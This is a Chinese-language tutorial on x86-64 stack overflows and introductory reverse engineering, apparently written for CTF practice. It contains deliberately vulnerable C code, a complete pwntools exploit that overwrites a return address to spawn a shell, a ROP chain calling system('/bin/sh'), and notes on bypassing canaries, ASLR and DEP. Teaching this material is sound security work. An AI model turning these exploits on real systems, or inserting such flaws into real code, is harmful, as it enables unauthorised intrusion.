底层栈基础 || 逆向手搓基础
字数 1607 2025-12-25 12:13:47

栈溢出与逆向工程基础教学文档

第一章 栈溢出基础

1.1 函数调用栈原理

函数调用过程

  • call指令本质push rip + jmp到被调用函数
  • 调用栈变化:
    1. 调用者将参数压栈(x86-64中前6个参数使用寄存器)
    2. 执行call指令:保存返回地址(push rip)
    3. 被调用函数保存调用者rbp(push rbp)
    4. 分配局部变量空间(sub rsp, XXh)

栈帧结构

高地址
[调用者栈帧]
[参数n]
...
[参数1]
[返回地址]  ← rip被压入的位置
[旧的rbp]   ← rbp被压入的位置
[局部变量]  ← rsp指向的位置
低地址

1.2 栈溢出利用技术

基本溢出原理

// 漏洞代码示例
int vulnerable_function() {
    char buf[64];  // 栈上分配64字节缓冲区
    read(0, buf, 0x100);  // 可写入0x100字节,造成溢出
    return 0;
}

利用步骤

  1. 覆盖返回地址:通过溢出覆盖栈上的返回地址
  2. 控制程序流:将返回地址修改为后门函数地址
  3. 执行shellcode:获得系统控制权

1.3 栈对齐问题(16字节对齐)

对齐原理

  • System V AMD64 ABI要求栈指针rsp在函数调用时必须16字节对齐
  • 对齐破坏会导致某些指令(如movaps)触发异常

对齐验证

; 函数开始时检查对齐
push rbp        ; rsp减8
mov rbp, rsp    ; 当前rsp可能不对齐
sub rsp, 0x20   ; 分配局部变量空间

对齐解决方案

  1. 添加ret指令:在payload中插入ret gadget,调整rsp
  2. 地址+1跳过push:绕过某些栈调整指令
  3. 使用对齐gadget:寻找专门的栈对齐gadget

第二章 实际漏洞利用

2.1 基础栈溢出利用

示例漏洞代码

int backdoor() {
    return system("/bin/sh");
}

int main() {
    char buf[64];  // rbp-0x40
    read(0, buf, 0x100);  // 溢出漏洞
    return 0;
}

利用要点

  • 偏移计算:buf到返回地址的偏移为0x40 + 8(保存的rbp)
  • payload构造:填充数据 + 后门函数地址
  • 栈平衡处理:考虑对齐要求

完整exp示例

from pwn import *

io = remote('target', port)
context.arch = 'amd64'

# 计算偏移
offset = 0x40 + 8  # buf大小 + 保存的rbp

# 获取gadget和函数地址
ret = 0x40116F      # ret指令地址,用于栈对齐
backdoor = 0x401156 # 后门函数地址

# 构造payload
payload = b'a' * offset
payload += p64(ret)    # 先执行ret调整栈对齐
payload += p64(backdoor) # 执行后门函数

io.send(payload)
io.interactive()

2.2 复杂情况处理

字符串比较绕过

// 需要绕过的认证逻辑
if (!strcmp(buf, "admin") && !strcmp(s1, "123456")) {
    vuln();  // 存在漏洞的函数
}

strcmp函数特性

  • 遇到NULL字节(\x00)停止比较
  • 可输入admin\x00+填充绕过长度检查
  • 注意输入函数特性(read不会截断,scanf会截断)

堆指针保护

void vuln() {
    char dest[72];
    void *buf = malloc(0x100);
    read(0, buf, 0x1000);  // 堆溢出
    memcpy(dest, buf, 0x100);  // 栈溢出
    free(buf);  // 需要保持buf为有效堆指针
}

利用要点

  • 保持buf指针有效性,避免free崩溃
  • 利用printf泄漏堆地址
  • 构造ROP链时考虑指针完整性

第三章 逆向工程基础

3.1 Python程序逆向

PyInstaller打包程序解包

# 使用pyinstxtractor解包
python pyinstxtractor.py target.exe

# 反编译pyc文件
uncompyle6 target.pyc > target.py

简单逆向示例

# 加密逻辑
flag_hex = '53 44 50 43 53 45 43 7b 72 65 76 65 72 73 65 5f 71 69 61 6e 5f 64 61 6f 7d 0a'
correct_flag = bytes.fromhex(flag_hex).decode('utf-8').strip()

# 直接解密
print(correct_flag)  # 输出flag

3.2 Base64变异算法分析

标准Base64编码表

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

变异Base64识别

  1. 换表检测:查找不同的编码表
  2. 索引变异:对6-bit索引进行异或等操作
  3. 自定义填充:使用非=的填充字符

变异Base64解密

import base64

# 标准表和解密表
std_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
custom_table = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"

encrypted = "YeBCCdVNCf4eMTNjXjFjXeNHJjNwFNlwWPxHLwZfXdxtFwZkGgZkHC=="

# 换表解密
decoded = base64.b64decode(encrypted.translate(str.maketrans(custom_table, std_table)))
print(decoded)

3.3 多层加密逆向

复合加密示例

import base64

def decrypt_complex(ciphertext, key):
    # 第一层:Base64换表解码
    std_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    custom_table = "VxKw7QTsMd5Bri83NZe9Ut6pChXzD4IAYqmLuakbHofRWycvjGPnS2JE/+l01OFg"
    
    # Base64换表解码
    layer1 = base64.b64decode(ciphertext.translate(str.maketrans(custom_table, std_table)))
    
    # 第二层:轮密钥异或解密
    plaintext = ""
    for i in range(len(layer1)):
        decrypted_char = layer1[i] ^ ord(key[i % len(key)])
        plaintext += chr(decrypted_char)
    
    return plaintext

# 使用示例
cipher = "QY/sxQrVKqD77KCTsVy97GHpwV4PMGjKAaYR7q76X7OxtUQbNudppkxAAk11MYHxxVDOsUaQMZDRrmCbQPyFznMFKxjpTmCssaO9DLD1i2i+9nVNVKCVsmDeMNoQUtrupt26AaYksZUTdu1ExVDnttrJijMWMKVj5edKU7CipqD7BKCs7YWCwZhw7KjSpj7lVwSwxtN4i9VzVV7iTj75xLxCQqqF6wjsxVDbs7aQrxSmMPuJxmoFznSOTGhAUGrwsSULTPh9wZMq9G7VQLG3VNVprjjsVx4PsGCpUGURMn497GSseSdaCbu="
key = "Roses"
result = decrypt_complex(cipher, key)
print(result)

第四章 高级技巧

4.1 花指令处理

常见花指令模式

  1. 无效跳转jz+jmp组合,中间插入垃圾字节
  2. 异常调用:插入无效的call指令
  3. 代码混淆:通过无意义指令干扰反汇编

花指令清除方法

  1. 手动nop:将垃圾字节替换为nop(0x90)
  2. IDA Python脚本:自动化识别和修复
  3. 动态调试:运行时代码实际执行路径分析

4.2 漏洞利用防护绕过

栈保护绕过

  • Canary绕过:泄漏canary值或覆盖特定条件
  • ASLR绕过:利用信息泄漏获取基地址
  • DEP绕过:使用ROP技术

现代防护对抗

# ROP链构造示例
rop_chain = [
    pop_rdi_ret,     # pop rdi; ret
    binsh_addr,      # "/bin/sh"字符串地址
    system_plt       # system函数地址
]

# 构造完整payload
payload = padding + flat(rop_chain)

第五章 实践练习

5.1 基础练习

  1. 实现基本的栈溢出利用
  2. 处理16字节栈对齐问题
  3. 编写完整的exp脚本

5.2 中级练习

  1. 分析变异Base64算法
  2. 处理多层加密的逆向
  3. 修复花指令并分析真实逻辑

5.3 高级练习

  1. 实现ROP链构造
  2. 绕过现代防护机制
  3. 编写自动化分析工具

总结

本文档详细介绍了栈溢出原理、逆向工程基础知识和实际利用技巧。重点包括函数调用栈机制、栈对齐问题、变异算法分析和花指令处理等关键知识点。通过理论结合实践的方式,帮助学习者建立完整的二进制安全知识体系。

关键要点回顾:

  • 栈溢出本质是覆盖返回地址控制程序流
  • 栈对齐是x64架构下的重要考虑因素
  • 逆向工程需要耐心分析算法逻辑
  • 实际利用需要考虑各种防护机制的绕过

建议学习者通过实际动手实践,逐步掌握这些技术,并在合法授权的环境下进行测试和学习。

栈溢出与逆向工程基础教学文档 第一章 栈溢出基础 1.1 函数调用栈原理 函数调用过程 call指令本质 : push rip + jmp 到被调用函数 调用栈变化: 调用者将参数压栈(x86-64中前6个参数使用寄存器) 执行call指令:保存返回地址(push rip) 被调用函数保存调用者rbp(push rbp) 分配局部变量空间(sub rsp, XXh) 栈帧结构 1.2 栈溢出利用技术 基本溢出原理 利用步骤 覆盖返回地址 :通过溢出覆盖栈上的返回地址 控制程序流 :将返回地址修改为后门函数地址 执行shellcode :获得系统控制权 1.3 栈对齐问题(16字节对齐) 对齐原理 System V AMD64 ABI要求栈指针rsp在函数调用时必须16字节对齐 对齐破坏会导致某些指令(如movaps)触发异常 对齐验证 对齐解决方案 添加ret指令 :在payload中插入ret gadget,调整rsp 地址+1跳过push :绕过某些栈调整指令 使用对齐gadget :寻找专门的栈对齐gadget 第二章 实际漏洞利用 2.1 基础栈溢出利用 示例漏洞代码 利用要点 偏移计算 :buf到返回地址的偏移为0x40 + 8(保存的rbp) payload构造 :填充数据 + 后门函数地址 栈平衡处理 :考虑对齐要求 完整exp示例 2.2 复杂情况处理 字符串比较绕过 strcmp函数特性 : 遇到NULL字节( \x00 )停止比较 可输入 admin\x00 +填充绕过长度检查 注意输入函数特性(read不会截断,scanf会截断) 堆指针保护 利用要点 : 保持buf指针有效性,避免free崩溃 利用printf泄漏堆地址 构造ROP链时考虑指针完整性 第三章 逆向工程基础 3.1 Python程序逆向 PyInstaller打包程序解包 简单逆向示例 3.2 Base64变异算法分析 标准Base64编码表 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 变异Base64识别 换表检测 :查找不同的编码表 索引变异 :对6-bit索引进行异或等操作 自定义填充 :使用非 = 的填充字符 变异Base64解密 3.3 多层加密逆向 复合加密示例 第四章 高级技巧 4.1 花指令处理 常见花指令模式 无效跳转 : jz + jmp 组合,中间插入垃圾字节 异常调用 :插入无效的 call 指令 代码混淆 :通过无意义指令干扰反汇编 花指令清除方法 手动nop :将垃圾字节替换为nop(0x90) IDA Python脚本 :自动化识别和修复 动态调试 :运行时代码实际执行路径分析 4.2 漏洞利用防护绕过 栈保护绕过 Canary绕过 :泄漏canary值或覆盖特定条件 ASLR绕过 :利用信息泄漏获取基地址 DEP绕过 :使用ROP技术 现代防护对抗 第五章 实践练习 5.1 基础练习 实现基本的栈溢出利用 处理16字节栈对齐问题 编写完整的exp脚本 5.2 中级练习 分析变异Base64算法 处理多层加密的逆向 修复花指令并分析真实逻辑 5.3 高级练习 实现ROP链构造 绕过现代防护机制 编写自动化分析工具 总结 本文档详细介绍了栈溢出原理、逆向工程基础知识和实际利用技巧。重点包括函数调用栈机制、栈对齐问题、变异算法分析和花指令处理等关键知识点。通过理论结合实践的方式,帮助学习者建立完整的二进制安全知识体系。 关键要点回顾: 栈溢出本质是覆盖返回地址控制程序流 栈对齐是x64架构下的重要考虑因素 逆向工程需要耐心分析算法逻辑 实际利用需要考虑各种防护机制的绕过 建议学习者通过实际动手实践,逐步掌握这些技术,并在合法授权的环境下进行测试和学习。